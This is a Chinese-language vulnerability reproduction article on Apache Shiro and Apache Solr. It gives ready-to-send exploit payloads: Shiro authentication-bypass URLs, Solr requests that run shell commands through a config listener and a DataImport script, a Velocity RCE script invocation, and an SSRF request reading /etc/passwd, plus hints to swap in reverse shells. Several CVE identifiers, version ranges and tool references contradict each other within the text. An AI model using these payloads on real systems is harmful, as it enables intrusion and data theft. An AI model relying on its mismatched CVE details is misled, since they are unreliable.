Apache Shiro与Apache Solr漏洞复现与分析
一、Apache Shiro安全漏洞
1.1 Apache Shiro简介
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。它提供了易于理解的API,适用于从最小的移动应用程序到最大的网络和企业应用程序。
1.2 已知安全漏洞列表
- Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞 [CVE-2016-4483]
- Apache Shiro < 1.3.2 验证绕过漏洞 [CVE-2016-2807]
- Apache Shiro < 1.4.2 cookie oracle padding漏洞 [CVE-2019-12442]
- Apache Shiro < 1.5.2 验证绕过漏洞 [CVE-2020-1957]
- Apache Shiro < 1.5.3 验证绕过漏洞 [CVE-2020-11989]
- Apache Shiro < 1.6.0 验证绕过漏洞 [CVE-2020-13933]
- Apache Shiro < 1.7.1 权限绕过漏洞 [CVE-2020-17523]
1.3 重点漏洞复现
1.3.1 CVE-2020-1957 认证绕过漏洞
漏洞描述:在1.5.2之前的带有Spring动态控制器的Apache Shiro版本中,攻击者可以构造恶意请求绕过目录身份验证。
影响版本:Apache Shiro < 1.5.3
复现步骤:
- 访问管理页面
/admin/会被重定向到登录页面 - 构造恶意请求绕过身份验证检查:
/xxx/..;/admin/ - 完整URL示例:
http://your-ip:8080/xxx/..;/admin/
1.3.2 CVE-2020-11989 验证绕过漏洞
漏洞描述:将Apache Shiro与Spring控制器一起使用时,特制请求可能导致身份验证绕过。
影响版本:Apache Shiro < 1.7.1
PoC:
/admin/%20
测试方法:
可使用GitHub项目进行测试:
项目地址:shiro-cve-2020-17523
1.3.3 CVE-2016-4437 (Shiro-550) 和 CVE-2019-12422 (Shiro-721) 反序列化漏洞
漏洞原理:
- Shiro-550:使用已知密钥加密的RememberMe Cookie存在反序列化漏洞
- Shiro-721:在加密的RememberMe Cookie中使用Padding Oracle攻击实现反序列化
二、Apache Solr安全漏洞
2.1 Apache Solr简介
Apache Solr是一个开源的搜索服务,使用Java语言开发,基于HTTP和Apache Lucene实现。它是一个高性能的全文搜索服务器,对外提供类似于Web-service的API接口。
2.2 已知安全漏洞列表
- 远程命令执行 RCE (CVE-2017-12629)
- 远程命令执行 XXE (CVE-2017-12629)
- 任意文件读取 AND 命令执行 (CVE-2019-17558)
- 远程命令执行漏洞 (CVE-2019-0192)
- 远程命令执行漏洞 (CVE-2019-0193)
- 未授权上传漏洞 (CVE-2020-13957)
- Apache Solr SSRF (CVE-2021-27905)
2.3 重点漏洞复现
2.3.1 CVE-2017-12629 RCE/XXE漏洞
漏洞描述:7.1.0之前版本存在XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。
复现步骤:
-
创建一个listener,设置要执行的命令:
POST /solr/demo/config HTTP/1.1 Host: your-ip:8983 Content-Length: 161 {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/rumilc.txt"]}} -
进行update操作触发listener:
POST /solr/demo/update HTTP/1.1 Host: your-ip:8983 Content-Type: application/json Content-Length: 15 [{"id":"test"}] -
反弹shell:将命令替换为base64编码的反弹shell命令
2.3.2 CVE-2019-17558 任意文件读取&&命令执行
漏洞描述:5.0.0至8.3.1版本中存在输入验证错误,可利用Velocity-SSTI漏洞执行任意代码。
复现方法:
- 使用脚本工具:
python2 solr_rce.py http://target-ip:port id python2 solr_rce.py http://target-ip:port "cat /etc/passwd"
2.3.3 CVE-2019-0193 远程命令执行漏洞
影响版本:Apache Solr < 8.2.0
复现步骤:
-
创建测试核心:
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db -
在Dataimport功能中使用debug模式,填入以下POC:
<dataConfig> <dataSource type="URLDataSource"/> <script><![CDATA[ function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/rumilc.txt") } ]]></script> <document> <entity name="stackoverflow" url="https://stackoverflow.com/feeds/tag/solr" processor="XPathEntityProcessor" forEach="/feed" transformer="script:poc" /> </document> </dataConfig> -
反弹shell:将命令替换为base64编码的反弹shell命令
2.3.4 CVE-2021-27905 任意文件读取&&SSRF
复现步骤:
-
首先获取数据库名称:
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json -
修改数据库配置启用RemoteStreaming:
POST /solr/demo/config HTTP/1.1 Host: your-ip:8983 Content-Type: application/json Content-Length: 80 {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}} -
读取任意文件:
curl -i -s -k "http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd"
三、防护建议
3.1 Apache Shiro防护措施
- 及时升级到最新版本
- 修改默认密钥
- 严格配置权限控制
- 禁用不必要的功能
3.2 Apache Solr防护措施
- 升级到最新安全版本
- 启用身份验证
- 限制网络访问
- 禁用危险功能(如RemoteStreaming)
- 定期安全审计
四、总结
本文详细分析了Apache Shiro和Apache Solr框架中的多个高危漏洞,包括认证绕过、反序列化、远程命令执行、文件读取等类型。通过具体的复现步骤和PoC,展示了这些漏洞的利用方式。管理员应及时关注安全更新,采取适当的防护措施,确保系统安全。